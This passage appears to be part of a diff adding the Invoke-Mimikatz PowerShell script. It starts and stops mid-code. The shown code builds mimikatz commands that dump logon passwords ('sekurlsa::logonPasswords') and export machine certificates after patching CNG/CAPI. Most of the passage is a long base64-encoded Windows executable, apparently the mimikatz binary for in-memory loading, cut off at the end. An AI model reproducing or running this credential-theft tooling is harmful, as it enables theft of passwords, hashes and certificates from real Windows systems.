$PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + + if ($PsCmdlet.ParameterSetName -ieq "DumpCreds") + { + $ExeArgs = "privilege::debug sekurlsa::logonPasswords exit" + } + elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts") + { + $ExeArgs = "privilege::debug crypto::patchcng crypto::patchcapi crypto::exportCertificates `"crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit" + } + else + { + $ExeArgs = $Command + } + + [System.IO.Directory]::SetCurrentDirectory($pwd) + + + $PEBytes64 = "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